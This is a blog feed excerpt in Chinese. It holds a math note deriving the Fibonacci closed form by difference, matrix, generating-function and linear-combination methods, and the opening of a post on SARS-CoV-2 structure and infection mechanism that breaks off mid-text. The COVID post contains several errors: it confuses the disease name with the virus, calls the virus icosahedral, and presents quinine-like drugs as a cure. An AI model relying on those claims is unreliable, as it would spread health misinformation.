    <content type="html"><![CDATA[<p>這篇筆記主要會整理如何對費波那契數列(Fibonacci Sequence)的遞迴式進行數學運算，並將其轉換為可以項數索引值表示的一般式結構。</p><h1 id="What’s-Fibonacci-Sequence"><a href="#What’s-Fibonacci-Sequence" class="headerlink" title="What’s Fibonacci Sequence?"></a>What’s Fibonacci Sequence?</h1><p>首先簡單定義著名的費波那契數列遞迴式:</p><p>滿足$F_1=F_2=1$且$\forall n∈N$存在以下關係:</p><p>$F_{n+2} = F_n + F_{n+1}$</p><p>則將此序列稱為費波那契數列(Fibonacci Sequence)。</p><p>因此我們可以透過以上的等式列出此數列的前幾項:<br>$1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144…$</p><h1 id="History-of-Fibonacci-Sequence"><a href="#History-of-Fibonacci-Sequence" class="headerlink" title="History of Fibonacci Sequence"></a>History of Fibonacci Sequence</h1><p>公元 1150 年，印度數學家 Gopala 在研究箱子包裝物件長寬剛好為 1 和 2 的可行方法數目時，首先描述這個數列。而接著在歐洲的義大利數學家費波那契(Fibonacci)則在描述兔群生長問題時，使用了這個數列來描述之，費波那契數列也因此開始受到廣泛的研究。</p><p>該問題細部如下:</p><ol><li>第一個月初有一對剛誕生的兔子</li><li>第二個月之後（第三個月初）牠們可以生育</li><li>每月每對可生育的兔子會誕生下一對新兔子</li><li><strong>兔子永不死去</strong></li></ol><p>這項問題的每個月存在兔子對數即構成費波那契數列。</p><p>費波那契數列的應用十分廣泛，包括黃金比例、植物學的葉形分布、以及許多的數學性質、最佳化理論等，對於這項數列都有著十分神奇的關聯性，事實上數學家廣泛認為這與費波那契數列的黃金比例性質有關。</p><h1 id="Thinking"><a href="#Thinking" class="headerlink" title="Thinking"></a>Thinking</h1><p>在將費波那契數列轉換為一般式之前，我們先來複習高中所學到的遞迴式轉換為一般式的過程。</p><h2 id="Example-1-一階遞迴"><a href="#Example-1-一階遞迴" class="headerlink" title="Example 1 (一階遞迴)"></a>Example 1 (一階遞迴)</h2><p>已知數列${a_n}$的首項$a_1=1$，且該數列滿足$a_{n+1}=a_{n}\times \dfrac{n}{n+1}$，$\forall n \in N$，求$a_n$的一般式$?$</p><p><strong>Solution:</strong><br>$a_2=a_1\times \dfrac{1}{2}$<br>$a_3=a_2\times \dfrac{2}{3}$<br>$a_4=a_3\times \dfrac{3}{4}$<br>$…$<br>$\times)a_n=a_{n-1}\times \dfrac{n-1}{n}$<br>$———————————–$<br>$a_n=a_1\times \dfrac{1}{n}$</p><p>又$a_1=1$<br>$\implies a_n=\dfrac{1}{n}，\forall n \in N$</p><p><strong>Example 1</strong>運用了累乘法來對遞迴式進行處理，這類對遞迴式進行四則運算的手法經常被運用到解決單純一階遞迴一般式的問題利用遞迴項恆等式的四則運算來消去不必要的項目，獲得最終以$n$表示的一般項。也許你會問，遞迴式化簡真的如此簡單嗎?讓我們看看另一個例子。</p><h2 id="Example-2-二階遞迴"><a href="#Example-2-二階遞迴" class="headerlink" title="Example 2 (二階遞迴)"></a>Example 2 (二階遞迴)</h2><p>$a_1=1，a_2=1，a_{n+2}=2a_{n+1}+3a_n，n \in N$，求$a_n$的一般式$?$</p><p><strong>Solution:</strong><br>將原遞迴式利用未知數$k$移項一下，可得</p><p>$a_{n+2}=2a_{n+1}+3a_n\implies a_{n+2}-ka_{n+1}=(2-k)a_{n+1}+3a_n$</p><p>需求適當$k$使得遞迴式左右皆呈單項，列式可得$\dfrac{1}{2-k}=\dfrac{-k}{3}$<br>解方程式得$k=-1$ $or$ $3$。</p><p>① $k=-1$</p><p>代回原遞迴式得$a_{n+2}+a_{n+1}=3(a_{n+1}+a_n)=3^2(a_n+a_{n-1})=$ $…$<br>$=3^n(a_2+a_1)=2\cdot 3^n$</p><p>② $k=3$</p><p>代回原遞迴式得$a_{n+2}-3a_{n+1}=(-1)(a_{n+1}-3a_n)=(-1)^2(a_n-3a_{n-1})=$ $…$<br>$=(-1)^n(a_2-3a_1)=(-2)\cdot (-1)^n$</p><p>利用以上兩個結果解聯立方程式</p><p>$<br>  \begin{cases}<br>    a_{n+2}+a_{n+1}=2\cdot 3^n \\<br>    a_{n+2}-3a_{n+1}=(-2)\cdot (-1)^n<br>  \end{cases}<br>$</p><p>可得$a_{n+1}=\dfrac{3^n+(-1)^n}{2}$，代入$n=0$發現$a_1$符合一般式規則，即可求得一般式為</p><p>$a_n=\dfrac{3^{n-1}+(-1)^{n-1}}{2}，\forall n \in N$</p><p>上面<strong>Example 2</strong>提到了一個巧妙的變換手法，我們稱此方法為階差法，但費波那契數列是否能夠用類似的手法來處理呢?</p><p>答案是可以的。費波那契數列事實上是二階遞迴的一種，因此可以利用上方舉例的<strong>Example 2</strong>手法來處理，但因為算式的處理難易度考量，處理的手法可能會有些許的不同。此外，二階遞迴的化簡方法亦不僅一種，以下將會介紹除了階差法在內的三種方式來化簡之，一起來看看~</p><h1 id="階差法"><a href="#階差法" class="headerlink" title="階差法"></a>階差法</h1><h2 id="Method-1"><a href="#Method-1" class="headerlink" title="Method 1"></a>Method 1</h2><p>根據費波那契數列遞迴式利用未知數$\alpha$移項，可得</p><p>$F_{n+2}=F_{n+1}+F_n\implies F_{n+2}-\alpha F_{n+1}=(1-\alpha)F_{n+1}+F_n$</p><p>我們使用階差法的目標在於使兩邊成為單項，因此可得等式$\dfrac{1}{1-\alpha}=\dfrac{-\alpha}{1}$</p><p>解得$\alpha =\dfrac{1\pm \sqrt{5}}{2}$</p><p>接著分別使用兩個$\alpha$的實根代回原遞迴式並解聯立方程式(可參考上方<strong>Example 2</strong>)，即可得到一般式。</p><p>但這個方法太早牽涉到根號的運算，因此解的過程會非常辛苦…😵<br>讓我們來看看另一種較為簡單的階差法處理方式吧!</p><h2 id="Method-2"><a href="#Method-2" class="headerlink" title="Method 2"></a>Method 2</h2><p>我們同樣利用未知數$\alpha$來對遞迴式移項，但形式有些不同:<br>$F_{n+2}=F_{n+1}+F_n\implies F_{n+2}-\alpha F_{n+1}=(1-\alpha)(F_{n+1}-\alpha F_n)$</p><p>接著代入索引值:</p><p>$\begin{cases}<br>    F_{n}-\alpha F_{n-1}=(1-\alpha)(F_{n-1}-\alpha F_{n-2}) \to (1)式 \\<br>    F_{n-1}-\alpha F_{n-2}=(1-\alpha)(F_{n-2}-\alpha F_{n-3}) \to (2)式 \\<br>    … \\<br>    F_4-\alpha F_3=(1-\alpha)(F_3-\alpha F_2) \to (n-3)式 \\<br>    F_3-\alpha F_2=(1-\alpha)(F_2-\alpha F_1) \to (n-2)式<br>  \end{cases}$</p><p>此時考慮$(1)$式$+(1-\alpha)\times(2)$式$+(1-\alpha)^2 \times(3)$式$+…+(1-\alpha)^{(n-3)}\times(n-2)$式，可得</p><p>$F_n-\alpha F_{n-1}=(1-\alpha)^{n-2}(F_2-\alpha F_1)$</p><p>再代入一次索引值:</p><p>$\begin{cases}<br>    F_n-\alpha F_{n-1}=(1-\alpha)^{n-2}(F_2-\alpha F_1) \to (1)式 \\<br>    F_{n-1}-\alpha F_{n-2}=(1-\alpha)^{n-3}(F_2-\alpha F_1) \to (2)式 \\<br>    … \\<br>    F_4-\alpha F_3=(1-\alpha)^{2}(F_2-\alpha F_1) \to (n-3)式 \\<br>    F_3-\alpha F_2=(1-\alpha)(F_2-\alpha F_1) \to (n-2)式<br>  \end{cases}$</p><p>此時接著考慮$(1)$式$+\alpha\times(2)$式$+\alpha^2 \times(3)$式$+…+\alpha^{(n-3)}\times(n-2)$式，可得等式<br>$F_n-\alpha^{n-2}F_2=(F_2-\alpha F_1)(1-\alpha)^{n-2}\cdot\dfrac{(1-(\dfrac{\alpha}{1-\alpha})^{n-2})}{1-\dfrac{\alpha}{1-\alpha}}$</p><p>以$F_1=F_2=1$代回求得$F_n=\dfrac{(1-\alpha)^n-\alpha^n}{1-2\alpha}$</p><p>最後一步就是將$\alpha$的值求出!</p><p>以遞迴式規則可以輕易求出$F_3=2$，將其代回上方的$(n-2)$式求解可得等式</p><p>$2-\alpha=(1-\alpha)^2\implies \alpha^2-\alpha-1=0$</p><p>解得$\alpha=\dfrac{1\pm \sqrt{5}}{2}$，代回原式!</p><p>求得費波那契數列一般項$F_n=\dfrac{1}{\sqrt{5}}((\dfrac{1+\sqrt{5}}{2})^n-(\dfrac{1-\sqrt{5}}{2})^n)$</p><blockquote><p>現在知道為什麼費氏數列的一般項化簡會這麼麻煩了嗎~:P</p></blockquote><h1 id="矩陣法"><a href="#矩陣法" class="headerlink" title="矩陣法"></a>矩陣法</h1><p>上面的階差法運用了類似於<strong>等比數列</strong>的概念將費波那契數列轉換為一般項，因此若運用類似的方法，推測矩陣應亦能達成此效果。以下為推導過程:</p><p>利用觀察法，可以將費氏數列的原遞迴式改寫為矩陣形式<br>$F_{n+1}=F_{n}+F_{n-1}\implies \left(<br>\begin{array}{c}F_{n+1} \\ F_{n} \\ \end{array} \right)=\left( \begin{array}{cc} 1 &amp; 1 \\ 1 &amp; 0 \\<br>\end{array} \right) \left( \begin{array}{c} F_{n}  \\ F_{n-1}  \\ \end{array} \right)$</p><p>繼續下推可得$\left(<br>\begin{array}{c}F_{n+1} \\ F_{n} \\ \end{array} \right)=\left( \begin{array}{cc} 1 &amp; 1 \\ 1 &amp; 0 \\<br>\end{array} \right)^{n-1} \left( \begin{array}{c} F_{2}  \\ F_{1}  \\ \end{array} \right)$</p><p>故我們只要將$\left( \begin{array}{cc} 1 &amp; 1 \\ 1 &amp; 0 \\<br>\end{array} \right)^{n-1}$求出即可獲得一般式。而因為此法為求矩陣高次方，故直接利用對角化性質求解。</p><p>令原矩陣之特徵值(Eigenvalue)為$\lambda$，特徵向量為$x$，矩陣$A=\left(\begin{array}{cc} 1 &amp; 1 \\ 1 &amp; 0 \\<br>\end{array} \right)$，需求解$\lambda$使得$Ax=\lambda x$(特徵方程式定義)。經過移項可得$(A-\lambda I)x=0(I$是為了簡化計算而乘入，不影響計算結果$)$，根據矩陣與行列式互換性質得$det(A-\lambda I)=0\implies det\left( \begin{array}{cc} 1-\lambda &amp; 1 \\ 1 &amp; -\lambda \\<br>\end{array} \right)=0\implies \lambda^2-\lambda-1=0$，解得$\lambda=\dfrac{1\pm \sqrt{5}}{2}$，可求出其中兩個特徵向量$x=\left(\begin{array}{c} \dfrac{1\pm \sqrt{5}}{2} \\ 1 \end{array} \right)$</p><p>以此為基礎對矩陣$A$進行對角化可得</p><p>$\left(\begin{array}{cc} 1 &amp; 1 \\ 1 &amp; 0 \end{array} \right)=\left(\begin{array}{cc} \dfrac{1+\sqrt{5}}{2} &amp; \dfrac{1-\sqrt{5}}{2} \\ 1 &amp; 1 \end{array} \right)\left(\begin{array}{cc} \dfrac{1+\sqrt{5}}{2} &amp; 0 \\ 0 &amp; \dfrac{1-\sqrt{5}}{2} \end{array} \right)\dfrac{1}{\sqrt{5}}\left(\begin{array}{cc} 1 &amp; -\dfrac{1-\sqrt{5}}{2} \\ -1 &amp; \dfrac{1+\sqrt{5}}{2} \end{array} \right)$，故</p><p>$\left(\begin{array}{cc} 1 &amp; 1 \\ 1 &amp; 0 \end{array} \right)^{n-1}=\left(\begin{array}{cc} \dfrac{1+\sqrt{5}}{2} &amp; \dfrac{1-\sqrt{5}}{2} \\ 1 &amp; 1 \end{array} \right)\left(\begin{array}{cc} (\dfrac{1+\sqrt{5}}{2})^{n-1} &amp; 0 \\ 0 &amp; (\dfrac{1-\sqrt{5}}{2})^{n-1} \end{array} \right)\dfrac{1}{\sqrt{5}}\left(\begin{array}{cc} 1 &amp; -\dfrac{1-\sqrt{5}}{2} \\ -1 &amp; \dfrac{1+\sqrt{5}}{2} \end{array} \right)$</p><p>$=\dfrac{1}{\sqrt{5}}\left(\begin{array}{cc} (\dfrac{1+\sqrt{5}}{2})^n-(\dfrac{1-\sqrt{5}}{2})^n &amp; -\dfrac{1-\sqrt{5}}{2}(\dfrac{1+\sqrt{5}}{2})^{n}+\dfrac{1+\sqrt{5}}{2}(\dfrac{1-\sqrt{5}}{2})^{n} \\ (\dfrac{1+\sqrt{5}}{2})^{n-1}-(\dfrac{1-\sqrt{5}}{2})^{n-1} &amp; -\dfrac{1-\sqrt{5}}{2}(\dfrac{1+\sqrt{5}}{2})^{n-1}+\dfrac{1+\sqrt{5}}{2}(\dfrac{1-\sqrt{5}}{2})^{n-1} \end{array} \right)$</p><p>將其代回原式並將矩陣乘開即可求得費波那契數列一般項$F_n=\dfrac{1}{\sqrt{5}}((\dfrac{1+\sqrt{5}}{2})^n-(\dfrac{1-\sqrt{5}}{2})^n)$</p><div class="note danger flat"><p>P.S.最後一步建議不要用根與係數把$n$次多項式乘開!不然可能會因為消不掉而卡住…乘開成這樣是最好消去的狀態!(除非您是通靈電神，可以在兩個根自由互換 Orz)</p></div><blockquote><p>我想起了被矩陣對角化支配的”美好”時光…&gt;&lt;</p></blockquote><h1 id="生成函數法"><a href="#生成函數法" class="headerlink" title="生成函數法"></a>生成函數法</h1><p>西元 1843 年, 法國數學家棣美弗(Jacques-Philippe-Marie Binet)利用一般生成函數求出費氏數列的一般式。這是人類紀錄史上第一次求出費氏數列一般項，也是生成函數應用於數學史的拓展。</p><p>但事實上我原本並不知道這個做法，生成函數並不在高中教材中，但就應用層面而言，它的使用廣泛度事實上遠遠超乎我們的想像，舉凡我們常用的排列組合、遞迴關係等，都可以將原來的形式$(C^m_n、P^m_n、H^m_n、$遞迴式$…)$轉換為函數的形式。但要完整的介紹生成函數事實上並不容易，我對於生成函數也不算熟悉，因此在此就僅整理生成函數如何轉換費波那契數列的部分。</p><p>利用普通生成函數(OGF，ordinary generating function)冪級數$\sum\limits_{i = 0}^\infty{a_ix^i}$對費氏數列做一般數列轉換成生成函數，可將其表為$\sum\limits_{k=1}^\infty{F_kx^k}_{(註1)}$，令其為$g(x)$並展開可得:<br>$g(x)=F_1x+F_2x^2+F_3x^3+F_4x^4+…(1)$式<br>對該函數動一點手腳:<br>$xg(x)=F_1x^2+F_2x^3+F_3x^4+F_4x^5+…(2)$式<br>再來一點:<br>$x^2g(x)=F_1x^3+F_2x^4+F_3x^5+F_4x^6+…(3)$式</p><p>接著代入$F_1=F_2=1$，當$|x|&lt;1$時，以$(1)$式$-(2)$式$-(3)$式可得$(1-x-x^2)g(x)=x\implies g(x)=\dfrac{x}{1-x-x^2}$</p><p>$=\dfrac{x}{(1-\dfrac{1+\sqrt{5}}{2}x)(1-\dfrac{1-\sqrt{5}}{2}x)}$</p><p>$=\dfrac{1}{\sqrt{5}x}(\dfrac{1}{\dfrac{1}{x}-\dfrac{1+\sqrt{5}}{2}}-\dfrac{1}{\dfrac{1}{x}-\dfrac{1-\sqrt{5}}{2}})…$(分項對消)</p><p>此時需引入勞倫級數(Laurent series)概念，在此不解說其深入概念，但是利用之，考慮以上部分分數展開式，可得該級數為<br>$g(x)=\dfrac{1}{\sqrt{5}x}\sum\limits_{n=1}^\infty{((\dfrac{1+\sqrt{5}}{2})^{n-1}-<br>(\dfrac{1-\sqrt{5}}{2})^{n-1})x^n}$</p><p>$=\dfrac{1}{\sqrt{5}}\sum\limits_{n=1}^\infty{((\dfrac{1+\sqrt{5}}{2})^{n-1}-<br>(\dfrac{1-\sqrt{5}}{2})^{n-1})x^{n-1}}$</p><p>代入後與原$g(x)$比較係數可得費波那契數列一般項$F_n=\dfrac{1}{\sqrt{5}}((\dfrac{1+\sqrt{5}}{2})^n-(\dfrac{1-\sqrt{5}}{2})^n)$</p><div class="note info flat"><p>註 1:這一步的定義事實上不夠嚴謹與詳細，詳情請見生成函數之生成方法與限制，其中牽涉到映成函數、光滑函數與完全歸納法等的運算。</p></div><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h1><p>費氏數列的神奇之處，在於其遞迴式將無理數的運算表示為有理數的遞迴式，這在數學的運算上事實上並不常見。而透過我們所推導出的一般式，我們也可以發現，費波那契數列可以被表為線性的形式$F_n=\alpha(\dfrac{1+\sqrt{5}}{2})^n+\beta(\dfrac{1-\sqrt{5}}{2})^n$，這凸顯了其之線性組合的特性，事實上，這個性質的類似方法也可以做為導出一般項的作法，一起來看看最後一種導出法吧~</p><h1 id="Bonus-線性置換法"><a href="#Bonus-線性置換法" class="headerlink" title="Bonus : 線性置換法"></a>Bonus : 線性置換法</h1><p>這裡所謂的線性，是指在透過利用費氏數列的組合下，求得一般項的方法。首先，我們可以十分簡單地推出以下兩個費氏數列的性質:</p><p>1.$(F_i)_i，(G_i)_i$均為費氏數列，則$(F_i+G_i)_i$亦為費氏數列。</p><p>$(F_{n+2}+G_{n+2})=(F_{n+1}+F_{n})+(G_{n+1}+G_{n})=(F_{n+1}+G_{n+1})+(F_{n}+G_{n})$，即可推出。</p><p>2.承上，$(\alpha F_i)_i$亦為費氏數列</p><p>$(\alpha F_{n+2})=\alpha(F_{n+1}+F_n)=(\alpha F_{n+1})+(\alpha F_n)$，即可推出。</p><p>由上兩點可以證明費氏數列經過線性組合仍為費氏數列。</p><p>因此我們可以考慮在$a_n$與$b_n$均為費氏數列(不考慮$F_1=F_2=1$之條件)的情況下，取$\alpha、\beta$ $s.t.$ $\alpha、\beta\in R$，令新數列$H_n=\alpha a_n+\beta b_n$，則新數列$H_n$為一費氏數列。從上我們可以知道，只要取得適當之數列與代數即可。</p><p>但我們如何定義$a_n$與$b_n$的存在呢?我們首先透過我們熟悉的數列來定義之，因為其是費氏數列之子元素，這樣的取法不影響我們對於費氏數列的定義。首先，若$a_n$與$b_n$為等差數列，他是沒有辦法滿足費氏數列的性質的。因此，我們考慮等比數列。若$a_n$與$b_n$屬於等比數列，又其兩者為費氏數列，可令其中一者之一般項為$a_n=kr^{n-1}$，因此透過費氏數列定義，$kr^{n+2}=kr^{n+1}+kr^n$，設定$k\ne0，r\ne1$，則可列出算式$r^2-r-1=0$，解得$a_n、b_n=((\dfrac{1\pm\sqrt{5}}{2})^{i-1})^{\infty}_{i=1}$</p><p>此時帶回原式解$\alpha$與$\beta$，且原數列$H$須滿足費氏數列之$F_1=F_2=1$性質，由此可列出以下方程式:</p><p>$\begin{cases}<br>    1=\alpha+\beta \\<br>    1=\dfrac{1+\sqrt{5}}{2}\alpha+\dfrac{1-\sqrt{5}}{2}\beta<br>  \end{cases}$</p><p>解得$\alpha=\dfrac{1}{\sqrt{5}}(\dfrac{1+\sqrt{5}}{2})、\beta=-\dfrac{1}{\sqrt{5}}(\dfrac{1-\sqrt{5}}{2})$，將四項條件代回原式即可求得費波那契數列一般項</p><p>$H_n=\dfrac{1}{\sqrt{5}}((\dfrac{1+\sqrt{5}}{2})^n-(\dfrac{1-\sqrt{5}}{2})^n)$</p><h1 id="References"><a href="#References" class="headerlink" title="References"></a>References</h1><p><a href="https://en.wikipedia.org/wiki/Fibonacci_number">https://en.wikipedia.org/wiki/Fibonacci_number</a><br><a href="https://en.wikipedia.org/wiki/Eigenvalues_and_eigenvectors">https://en.wikipedia.org/wiki/Eigenvalues_and_eigenvectors</a><br><a href="https://en.wikipedia.org/wiki/Generating_function">https://en.wikipedia.org/wiki/Generating_function</a><br><a href="https://en.wikipedia.org/wiki/Laurent_series">https://en.wikipedia.org/wiki/Laurent_series</a><br><a href="http://oz.nthu.edu.tw/~u9721201/penguin2/math/article/FibonacciSequence.pdf">http://oz.nthu.edu.tw/~u9721201/penguin2/math/article/FibonacciSequence.pdf</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;這篇筆記主要會整理如何對費波那契數列(Fibonacci Sequence)的遞迴式進行數學運算，並將其轉換為可以項數索引值表示的一般式結構。&lt;/p&gt;
&lt;h1 id=&quot;What’s-Fibonacci-Sequence&quot;&gt;&lt;a href=&quot;#What’s-Fibonacci</summary>
      
    
    
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/categories/Mathematics/"/>
    
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/tags/Mathematics/"/>
    
    <category term="Linear Algebra" scheme="http://blog.albert-web.tw/tags/Linear-Algebra/"/>
    
    <category term="Fibonacci Sequence" scheme="http://blog.albert-web.tw/tags/Fibonacci-Sequence/"/>
    
    <category term="Matrix" scheme="http://blog.albert-web.tw/tags/Matrix/"/>
    
    <category term="Generating Function" scheme="http://blog.albert-web.tw/tags/Generating-Function/"/>
    
  </entry>
  
  <entry>
    <title>Introduction of COVID-19&#39;s Machanism and Impact</title>
    <link href="http://blog.albert-web.tw/2021/06/15/SARS-COV-2-1/"/>
    <id>http://blog.albert-web.tw/2021/06/15/SARS-COV-2-1/</id>
    <published>2021-06-15T22:38:07.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>西元2019年時，全球著名的COVID-19從中國爆發，其散播之快，讓全球立刻陷入了空前危機，目前全球已超過1.5億人確診。近日台灣的疫情嚴重爆發，更造成了全台的大停課，目前疫情依然沒有趨緩的跡象。此篇文章將著重於研究其病理的相關機制，並針對全球的疫情進行分析。</p><h1 id="What-is-COVID-19"><a href="#What-is-COVID-19" class="headerlink" title="What is COVID-19?"></a>What is COVID-19?</h1><p>COVID-19，現今正式名稱為SARS-Cov-2，現今一般認為其是由中國武漢起源，原本宿主應為蝙蝠或穿山甲，經過病毒變異之後轉移到人類，造成現今的嚴重疫情。</p><p><img src="https://i.imgur.com/48cfaGZ.jpg"></p><p>病毒機制方面，其為正20面體的冠狀病毒(coronavirus)，目前所發現的冠狀病毒有三個亞群、16種以上。其核酸大小是所有RNA病毒之中最大的，顆粒大小約為100nm，電子顯微鏡下呈現皇冠形。值得注意的是，該病毒擁有特別的複製校對除錯機制(proofreading)，擁有這項能力的病毒十分稀少，<del>日本製造的壓縮機也很稀少</del>。</p><h1 id="Structure-of-SARS-Cov-2"><a href="#Structure-of-SARS-Cov-2" class="headerlink" title="Structure of SARS-Cov-2"></a>Structure of SARS-Cov-2</h1><p>根據巴爾的摩病毒分類。<br><img src="https://i.imgur.com/YSYzSe7.png"><br>SARS-Cov-2屬於單股正鏈RNA(single strand positive sense RNA)(註:正鏈表示此RNA可直接轉譯出protein)，具有寄主細胞形成的脂雙層套膜，其上有四種結構蛋白維持病毒型態:</p><table><thead><tr><th align="center">蛋白名稱</th><th align="center">功能</th><th align="center">補充說明</th></tr></thead><tbody><tr><td align="center">棘蛋白(Spike Protein,S Protein)</td><td align="center">與膜上受體結合</td><td align="center">註一</td></tr><tr><td align="center">封套蛋白(Envelope Protein,E Protein)</td><td align="center">使宿主產生炎症反應、病毒組裝</td><td align="center">註二</td></tr><tr><td align="center">膜蛋白(Membrane Protein,M Protein)</td><td align="center">構成病毒形狀使套膜成形</td><td align="center">註三</td></tr><tr><td align="center">核殼蛋白(Nucleocapsid Protein,N Protein)</td><td align="center">結合病毒產生的RNA</td><td align="center">註四</td></tr></tbody></table><div class="note primary flat"><p>註一:<br>病毒表面刺突，是由三個棘蛋白組成的三聚體，其上帶有許多醣基修飾，並分為S1與S2兩個次單元(subunit)。S1位於刺突頂部，具有受體結合結構域(Receptor Binding Domain, RBD)，可與宿主細胞表面受體結合。而S2則主要將S1固定於病毒上。<br><img src="https://i.imgur.com/oWNjF6F.png"></p></div><div class="note primary flat"><p>註二:<br>封套蛋白是最小的結構蛋白，其可聚合成陽離子通道，使細胞內部ROS(Reactive oxygen species)增加，此時引發NF-κB下游反應(機制留待之後說明)，減緩ROS引起的細胞損傷並啟動炎症反應。此外，其亦與病毒組裝相關。</p></div><div class="note primary flat"><p>註三:<br>其為病毒套膜上最為主要的結構蛋白，數量最多，重點在於維持病毒的殼體網狀結構。</p></div><div class="note primary flat"><p>註四:<br>其分布在病毒內部，會與病毒的RNA結合成鏈狀，而核殼蛋白同時也會彼此結合。</p></div><h1 id="Mechanism"><a href="#Mechanism" class="headerlink" title="Mechanism"></a>Mechanism</h1><p>因為是一種新型態的病毒，因此並沒有完全準確的機制圖，因此僅介紹一個大方向，詳細的部分基於每張機制圖而有所不同。</p><p><img src="https://i.imgur.com/LFo6Uyw.jpg"></p><p>首先，外來的病毒必須先附著在細胞表面。冠狀病毒大多利用刺突細胞來與細胞結合，但事實上在一般情況下並不容易接上其利用的ligand ACE2。細胞表面有一種名為硫酸肝素蛋白多醣(Heperan Sulfate Proteoglycans, HSPGs)的物質，其由一條Core Protein加上2~3條接上多醣鏈(Glycosaminoglycan, GAG)的硫酸肝素形成。因為硫酸化的修飾使其上充滿負電荷，可作為病毒最初的附著點。在HSPGs的協助下，病毒在細胞表面辨識成功的機率會大大提升。</p><p><img src="https://i.imgur.com/Ynsmbgp.png"></p><p>先前有提到，刺突蛋白分為S1及S2兩個區域，所以在HSPGs協助之後，會需要S1上面的RBD與受體ACE2進行結合，但平時的S1傾向於水平構型，較難與ACE2結合，第一種情況需要細胞表面所具有的弗林蛋白酶(Furin)進行特殊位的切割(切割位在於S1與S2連接處，但不會切斷)，使RBD呈現站立構型之後，方可進行下一步，入侵細胞。</p><p>使用ACE2+Furin的部分，若是辨識成功會直接進行受體媒介型胞吞。而若是第二種情況，由TMPRSS2(跨膜絲胺酸蛋白酶2)進行切割(有圖示顯示其可替代Furin的切割功能)，其會將S1整個切斷之後，由S2插入寄主細胞的細胞膜，S2蛋白進行螺旋拉近胞膜距離，進行融合。</p><p><img src="https://i.imgur.com/2Y5jxOb.jpg"></p><h2 id="Supplement-ACE2-Receptor-amp-Furin"><a href="#Supplement-ACE2-Receptor-amp-Furin" class="headerlink" title="Supplement : ACE2 Receptor &amp; Furin"></a>Supplement : ACE2 Receptor &amp; Furin</h2><div class="note default flat"><h3 id="ACE2-Receptor"><a href="#ACE2-Receptor" class="headerlink" title="ACE2 Receptor"></a>ACE2 Receptor</h3><p>高中提及ACE2 Receptor的功能原本是轉換血管收縮素作用後轉為血管擴張因子，但發現2003年爆發的SARS-Cov與現今肆虐的SARS-Cov-2都能利用這個receptor來入侵人體細胞，且後者較前者的附著能力增加了約10~100倍。呼吸道與消化道的ACE2分布較多，也成為了細菌容易入侵的門戶。</p></div><div class="note default flat"><h3 id="Furin"><a href="#Furin" class="headerlink" title="Furin"></a>Furin</h3><p>Furin是一種特殊切割蛋白，透過辨識特殊序列的胺基酸並切割使蛋白質出現活性，而原先的新冠病毒無法進入人體傳染途徑，可能就是因為沒有Furin能夠辨識的序列，因此在某次突變之後出現Furin Sequence，便能成功跳到人類的感染。</p></div><p><img src="https://i.imgur.com/DLnKmxx.jpg"></p><p>在病毒進入細胞中之後，從上面的圖可以發現，經由ACE2 receptor受體媒介胞吞之後的胞內小體(endosome)，其是沒有去殼的，但經由TMPRSS2+ACE2途徑的，是已去殼的RNA+N protein，因此接下來經由ACE2 receptor的病毒必須在胞內去殼。</p><p>病毒經由胞內細胞骨架微管移行，從細胞膜往溶體移動，同時質子泵會在胞內體持續耗能注入$H^+$，使胞內小體酸化，此時會引發一種對於胞內體膜內側酸鹼值敏感的酵素，半胱胺酸組織蛋白酶(cysteine protease cathepsin)，以類似TMPRSS2的模式完成病毒去殼。但此時，若是有物質減弱胞內體酸化，則病毒會無法去殼，又在持續移行到溶酶體，最終就會在溶酶體直接裂解，達成療效，例如<strong>奎寧這類弱鹼性的藥物便是在阻斷這方面的途徑</strong>。</p><p><img src="https://i.imgur.com/LFo6Uyw.jpg"></p><p>接著我們以一開始的這張圖來解釋RNA的轉譯(translation)。</p><p>前面提到SARS-Cov-2的RNA屬於ss(single-stranded)(+)RNA，因此其上含有5’端帽與3’多腺苷酸尾，在核內可以直接接上核糖體後進行轉譯。下面稍微探究一下病毒的RNA結構:<br><img src="https://i.imgur.com/Zclz8h1.jpg"><br>這段RNA可以分為非結構蛋白(non-structural proteins, nsp)域及結構蛋白(structural proteins, sp)域，其中nsp域是可以直接進行轉譯的區域，其上的ORF1a(open reading frame)及ORF1b兩個區域，其中間有一個稱為假結(pseudoknot)的二級結構，可視為一個轉譯途中的障礙，因此會出現兩種情況:</p><ol><li>遇到假結時停止，則僅轉譯ORF1a，形成上圖的pp1a(polyproteins 1a)蛋白(nsp1-11)</li><li>遇到假結時未停止，則轉譯ORF1a與ORF1b結構，跳過假結(稱為框架轉移)，形成上圖的pp1ab(nsp1-16, <strong>except nsp11</strong>)</li></ol><p>pp1a與pp1ab經由自行/蛋白酶水解，會產生16種不同的nsp，其中絕大部分會到內質網協助病毒的基因組複製以及轉錄，少部分控制宿主的免疫反應避免自噬。</p><p>nsp3/4會在內質網上形成捲曲膜構造(convoluted membrane, CM)，並在其上產生許多囊泡，將病毒RNA與nsp1-16包起，避免被人體免疫反應偵測到。而nsp12是所有蛋白中最為重要的，直接協助RNA的合成。<br><img src="https://i.imgur.com/VSOhLsX.jpg"></p><p>而RNA複製與轉錄的部分，則是經由原有的ss(+)RNA先合成ss(-)RNA後，再一次合成為ss(+)RNA，若是合成完整的RNA，即是複製，而不完整的情況下，即是轉錄。</p><p>$Q:$ 為何會合成不同長度的RNA?</p><p>因為合成方向是由尾向頭，回顧上面的RNA結構，其會從後面的sp域3’端逆回來合成。而RNA上尾部的地方每個區段之間都有TRS-B的存在，頭端則是有TRS-L。可以觀察下圖的型態，會發現它的RNA事實上並非線狀，nsp域的地方事實上有折疊的情況，使每個TRS-B在合成途中都可能立即中止跳躍到TRS-L的地方轉錄到5’端結束合成。而這些長度不一的RNA根據序列的不同，可能在內質網上轉錄出如S/E/M/N等protein。<br><img 